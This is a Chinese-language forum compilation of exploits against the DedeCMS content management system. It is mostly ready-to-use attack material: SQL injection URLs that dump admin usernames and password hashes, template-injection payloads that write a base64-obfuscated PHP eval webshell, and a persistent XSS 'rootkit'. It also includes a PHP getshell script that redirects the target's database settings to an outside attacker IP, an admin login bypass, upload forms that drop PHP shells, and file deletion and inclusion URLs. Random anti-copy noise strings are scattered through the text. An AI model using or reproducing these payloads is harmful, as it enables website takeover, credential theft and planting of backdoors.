dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
2 s+ d" k' K) E! Z+ ghttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
! n$ j+ C0 [# J9 n) v1 d

, d/ f5 L( L) b  t- u
6 d; W4 Y4 q, m1 k" o
- F# L+ I. g( T% m  s. x. M

( c9 U; Z, a3 _$ F% T& B
. K: b4 r- f! h/ V( t
( X% u  ?/ w: G; Q! P+ ?, {# T) Z  H! ~DedeCms v5.6 嵌入恶意代码执行漏洞
6 E7 q: w# w7 F注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
2 @+ D# P: Q. b' j发表后查看或修改即可执行
6 q$ q# Y( D- G+ t! \a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。

! h9 g7 e: D7 E: ]( m) ?: y
3 q4 A  I# v! M0 {) K. u



3 ^. ^! A. T) b2 R3 u
1 e- {) b& d  |- I+ B/ C
8 \* A% O7 S8 E2 dDede 5.6 GBK SQL注入漏洞
. \" _3 i# n5 G" Q) hhttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
7 M# ~4 y. i8 Q- J* U
% }" a7 U( ?9 c# @0 Y


4 P* D* {1 i# `) n3 t0 ?
) K5 M. B8 d$ N$ N$ O  f: Z


6 m% J3 x. Y8 T1 J9 YDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
; N. [( I. k) D; A9 ^, lhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
) K/ z* H3 ?  y9 A6 B: Y



# ^8 @& `1 z4 e, A( W

DEDECMS 全版本 gotopage变量XSS漏洞
6 m; Z7 }5 i3 @/ Q0 z6 @1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
6 |$ n6 |. q, Dhttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

# y; e0 |/ V8 H
' k: J1 E: ~1 B2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
4 g2 ~8 S+ Y! G+ C
9 `: l( D) n5 N
http://v57.demo.dedecms.com/dede/login.php

7 f- n! I* V" B
( E/ t% c7 E0 U. E& D/ ncolor=Red]DeDeCMS(织梦)变量覆盖getshell
: |  p5 p! v8 @: F- [#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
set_time_limit(0);
print_r('
5 P0 v1 F. G* e& P$ ?DEDEcms Variable Coverage
' X' Z  w6 O/ M& K4 a( C: ~: fExploit Author: www.heixiaozi.comwww.webvul.com
0 U4 ^5 J6 ~" W' q1 _, Y);
" r& U7 f6 }& Z# X1 ^echo "\r\n";
if($argv[2]==null){
8 B4 X0 N; K. y/ [6 yprint_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
- |, g/ \, \" A9 D3 _$ iaid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
php '.$argv[0].' www.site.com 1 old
/ a3 D9 a' W/ x6 _8 `( [+---------------------------------------------------------------------------+
');
6 s* [  t, r6 |exit;
8 M5 A+ o5 S5 V( \2 O) N}
$url=$argv[1];
$aid=$argv[2];
$ ?+ d- p- [' U3 i/ e% b4 z) z$path=$argv[3];
  A2 O+ ]+ U8 I$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
' y' W* X1 b- F7 hecho "
  p! m5 ~+ V' uExploit Success \n";
if($aid==1)echo "
  r1 g# ^( m) RShell:".$url."/$path/data/cache/fuck.php\n" ;


3 s( h1 N. `+ cif($aid==2)echo "
) u1 o* H) Y( O! ?7 xShell:".$url."/$path/fuck.php\n" ;

  T" n. u' B$ O5 h6 M$ z: J% M; M! J2 `
! q' W( g  B( m8 ^6 ?/ t) ^if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";


}else{
echo "
4 n) e3 Q" P/ T. v8 D; y0 g/ m5 VExploit Failed \n";
7 R% b" Z" Z* S( z+ s}
function Getshell($url,$aid,$path){
$id=$aid;
% @  }1 C* {+ Q8 ^$host=$url;
$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
% ]. P! V: ?8 F: R  Q1 u$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
5 _) d" L) ]0 B$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
5 }1 w1 z. G1 g( N$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
( S8 c' J0 A4 v$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
# t8 n! G: g4 E6 J$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
echo "
No response from ".$host."\n";
0 L) y: \- X* |0 S, }}
* y# X: n! ^  Q7 V$ ]+ ]# K# lfwrite($ock,$data);
: r. A5 h; J% O' F  _while (!feof($ock)) {
; l3 ]6 a* k" f0 |7 `2 k& g$exp=fgets($ock, 1024);
2 }5 s& j7 j/ ~) j, {( xreturn $exp;
}
: S) p7 C  n9 v( |}
8 s" B2 y" y+ `* C2 W1 J0 ?) |
2 c- K* f& D# ?! Q5 M0 @0 W* q
?>



5 z: y! E. ^- J% o% e
& V" @# C4 I6 w8 t' x& f




% W% B0 U' w! `/ l
DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
: n! g8 T0 t$ Y5 Ohttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root


把上面validate=dcug改为当前的验证码，即可直接进入网站后台


, b' ~" Z4 q2 ?+ l$ G% l9 u此漏洞的前提是必须得到后台路径才能实现
& D! E" I; d5 o2 h( M

8 a* ?/ ]3 }  G  b. r+ n& h
% ~) d/ S$ X; n* P, |" n1 s
$ X( M$ K" I5 N# T



' b2 E6 q' T" x( O) k
% H0 a1 b3 P2 [1 a. P
5 o  B  D3 `4 |" vDedecms织梦 标签远程文件写入漏洞
( D- B2 W& z# Q+ E# Q2 p3 R: s前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
7 r8 B7 p: |! l0 i
0 q/ E% G/ N, J+ W
8 s* h5 s+ L5 x6 p) a再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
' V& g. G& a- x  ~! d. z, P$ n# V<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
# m6 Q& D: G# _: h<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
, q/ m' {' z( b9 m<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
6 _7 Z3 j% b1 G</form>
' e! F( ]; ^% l" Y<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
# r0 F0 T3 ^* h$ U( Q) h}
3 V$ n6 k) m. `% ]- g/ V. C. ^2 O</script>


% J) O* E) ~  c$ A
. `+ m$ `3 [* v+ E7 q6 V
- h# A0 _) X( f  Z* o


( v: I% X, m  \" q0 _1 d

% W5 Y" z  w: J* ^9 v6 n
DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
* T1 i* U8 E2 {1 ~3 Ga{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
( V4 M( ~0 b7 X( PDedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg
! B8 W0 X* J+ K) W
( u. o+ L7 ^8 b: b8 h
/ \! r  X! Q# [' ~$ T- m模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
( |3 Q! J: J% v; A* J3 Y* N$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
! \8 d1 g7 ]% Z<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
% T9 a5 @5 z5 t. R3 m3 _1 p  y% }/ R<input type="hidden" name="sortrank" value="1275972263" />


( m7 Y! i) f+ z' z: H<div id="mainCp">
* E( C. m! z  \, P! b<h3 class="meTitle"><strong>修改文章</strong></h3>
3 e9 v( A2 Q: ]  c2 Y
1 a+ Z2 a. z+ @6 Z$ M
<div class="postForm">
* O* A. {5 P2 x3 @) v<label>标题：</label>
4 s2 S/ w. E. d9 X<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>


" {! D+ R! [) M. y<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)


# M- f7 \1 \: Z9 A) i<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
# G9 j& N' }0 [$ y: [! z% a

, W% C4 Q* o8 `9 t( [<label>隶属栏目：</label>
/ V% \+ {& _  ]; _5 L7 t: a5 L<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
3 A5 O! t- U0 ?8 ?</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)


<label>我的分类：</label>
0 q$ E# o0 U: f<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
5 N' ], m& h$ R3 Z<option value='1' class='option3' selected>hahahha</option>
</select>


. i& |$ W4 G8 X  w2 r: e: @<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)
* c4 G: k$ z1 \  c# S: \

  ]" V! [8 Z* G<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
: `) F: p  f9 M- E& r

# K4 F$ b" P3 h6 E1 X<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
0 T* M7 m9 a1 K9 @( i5 P</div>
& [% V6 `* {5 V- J; F# G

+ g: y; ^: ^" T8 r* n' z<!-- 表单操作区域 -->
, ~0 g5 O+ Q7 o) q" g; Q* R4 X  I<h3 class="meTitle">详细内容</h3>
1 x8 G, Q8 G. I* \) s$ W/ v6 L9 T
, |- r; d$ a6 X) d2 P$ P! v5 Z$ @
- I3 K$ T% g  a& @* |" g( O<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>

/ O2 F' V$ G6 M  y' \  M  d5 T' i8 [4 R
<label>验证码：</label>
* W. N$ _  Y8 D, f<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
4 E% ]7 L! o1 |( i<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />


- r7 i- v4 i1 q6 Z5 m<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
</div>

* Q  ]2 }, D. P- ]" `1 r
</div>
4 g) J6 l* e2 r7 ]. {

</form>

' C4 h, x, g" f3 [
" O3 h: {% J: d) [: V( l2 s5 |提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
' |2 r# j; b9 S* M. x* P假设刚刚修改的文章的aid为2，则我们只需要访问：
0 D9 Z6 e3 Y" a1 ohttp://127.0.0.1/dede/plus/view.php?aid=2
  V# ^; {& ?2 Q: D即可以在plus目录下生成webshell：1.php
! Z( b+ R$ p. t0 J% g
9 A6 [4 [$ H  l: o" A# o( q
0 q- B- q2 g. J) j


3 |7 X# Q& V3 U" G

5 r" G" i6 l1 B" ]" d# h% ^/ Y7 I


5 h& \3 R( e3 ]& L& G7 a8 m; x

DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
5 j/ H2 d& X, `/ H" ^Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
: ~; F$ d3 J6 {' k! t{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
0 `2 U) K, x$ {4 Q" P* D, M! E& b<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
8 {8 ~" r1 ~4 M: R( J9 C<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
9 |3 w5 V4 ]* X0 f<button class="button2" type="submit" >更改</button>
- [8 f) [1 S+ {$ k) @, A</form>


构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：


<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
5 r, I0 ~& {! b: a9 F, v; _<input type="hidden" name="dopost" value="save" />
/ X- ~1 }, _: u( G1 a<input type="hidden" name="aid" value="2" />
2 a) @: i- C# a5 V; z<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
/ z7 {' P9 Y# I6 G: N# e<input type="hidden" name="sortrank" value="1282049150" />
: h! }: k  P+ R' r9 ^& k0 e$ u5 w  v<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
. G$ N, f3 i: O% \* K9 G<select name='typeid' size='1'>
; ]- x4 r  C; R<option value='1' class='option3' selected=''>Test</option>
9 ?" @- M- ~2 R/ u6 r% Q% ]<select name='mtypesid' size='1'>
0 X. N. \$ g( b, `, r4 s& i<option value='0' selected>请选择分类...</option>
7 H9 s# s+ C! \" K% s<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
0 [& `3 E( n! W) s( ?+ _! G<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
4 g- k( c$ R: y. P4 {</form>
0 I0 N; I( e8 R1 @
. B/ s9 f% Z7 K: E



# t, O! L# }4 j


' w( I# H2 Y0 j# h% X, e" M4 T) y



织梦(Dedecms)V5.6 远程文件删除漏洞
* e& e7 A" W1 ]. Y: ^http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

' a2 d* ~& k8 |
* Q7 y! k* F, H: f$ S/ c' e" D
# ~/ e; G; a& H" ~0 C; ^3 D
1 s- b  d% i' n: L& ^! b
) _. b! F2 b. C
$ k1 ?! G) Z  e8 v6 ]& x; X0 L9 n4 U


4 o* p- [5 |( w) B3 H( g
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
; K" q- J1 I! v
7 v' A! W4 ^" x. X& {


( N8 J. c: X# ?  }1 a: c
- x% ?, U- m5 ]
5 [, v/ g& J, c. H2 [



' I( t7 @9 y2 J0 M- m  @DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
0 h2 z5 s& A, n; {4 R9 a% n0 \plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
7 j2 @; f/ h  x$ M) F
1 r" n" s8 f- }, B


7 A" A8 w2 J5 ?, L9 B
, z9 r+ K* g5 w8 W+ N  t
% H5 d, e3 {5 u- f( E2 _! M

- z: G8 @7 B0 ]) p! ?

5 E& K1 D) v9 k6 m# ^$ T织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
8 i! G3 v5 t& P) D2 e, Shttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
/ o- R( W) W& M* ^! g, A
5 Q5 H) l& A1 \
+ F3 T- J+ f$ B+ ?( z; R


: O% _. p- K9 Z2 w

' J7 e2 P3 y% H& r  H1 M
/ u& ~  {! A7 w: {( Q7 m
4 T. I  X/ n9 Q. a0 j( s
. w7 J9 g) F- c) f/ q9 {& l4 V织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
- g$ ]* N1 h! m9 B6 E/ P<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
<body style="FONT-SIZE: 9pt">
6 i. I; C# ~5 D, i; `---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
$ [) m* z/ u9 w- w+ M<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
& B; |% ]5 c5 E+ B3 F9 g<input type='hidden' name='cfg_imgtype' value='php' />
3 l" H( X/ o" `' h5 m<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
1 E& k0 R& t& y<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
9 Y5 n. \/ y4 H1 ~/ f1 V<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
* L1 @7 W+ W* C* u<input type='submit' name='sb1' value='确定' />
$ N# Q( c6 E0 Z% p  l</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
1 y; ]4 w7 j9 N0 i8 X& J  r$ UNeed register_globals = on...<br />
! m7 ]8 }; u4 d: L# k* T5 QFun the game,get a webshell at /data/cache/fly.php...<br />
8 h, R/ d( L; d5 g</body>
: D4 t0 e9 r0 @</html>




# e3 N- Y5 \! _, V4 a
- k' i5 G( S/ Q& U
, w9 ?7 p' T2 W

) p1 g6 v7 l  l& W. s
; S" e) H/ a9 R  |0 j' a  @
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
% |; w& N* _  D# H8 o利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
# m1 C* r: ]# x' a* R1. 访问网址：
3 ~1 E' f# ~, t' v* s5 x- }7 ihttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
9 q4 ~+ J, [' T* b6 ~
! `0 l3 t! [' ]# {9 d
& ~4 M! r  _0 f& j2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
  w0 G1 U$ T* \; P  Lint(3) Error: Illegal double '1024e1024' value found during parsing
! Q4 [2 r/ {0 K$ p0 wError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
6 Y8 F1 g; G3 ^2 N

3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
1 D1 ]3 V' ~& b9 D5 C1 E" o

: r1 ~, D) u7 n6 m- y/ p! E. {<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
) W) j# {& N3 e

按确定后的看到第2步骤的信息表示文件木马上传成功.

6 R. _1 w$ p4 X, Q" \1 a& X

+ |6 V5 B& K& p( K3 B$ C) g
: u4 J, @7 P  T' _( s$ r$ q

2 c! _& |+ k$ W
2 A( M" F* Q5 W5 y
; d% W5 _/ `8 ]/ d* `, p
( I  P2 b$ @2 a; p2 R/ W+ p+ I4 Y8 X
3 u! Z, y$ \, R

织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*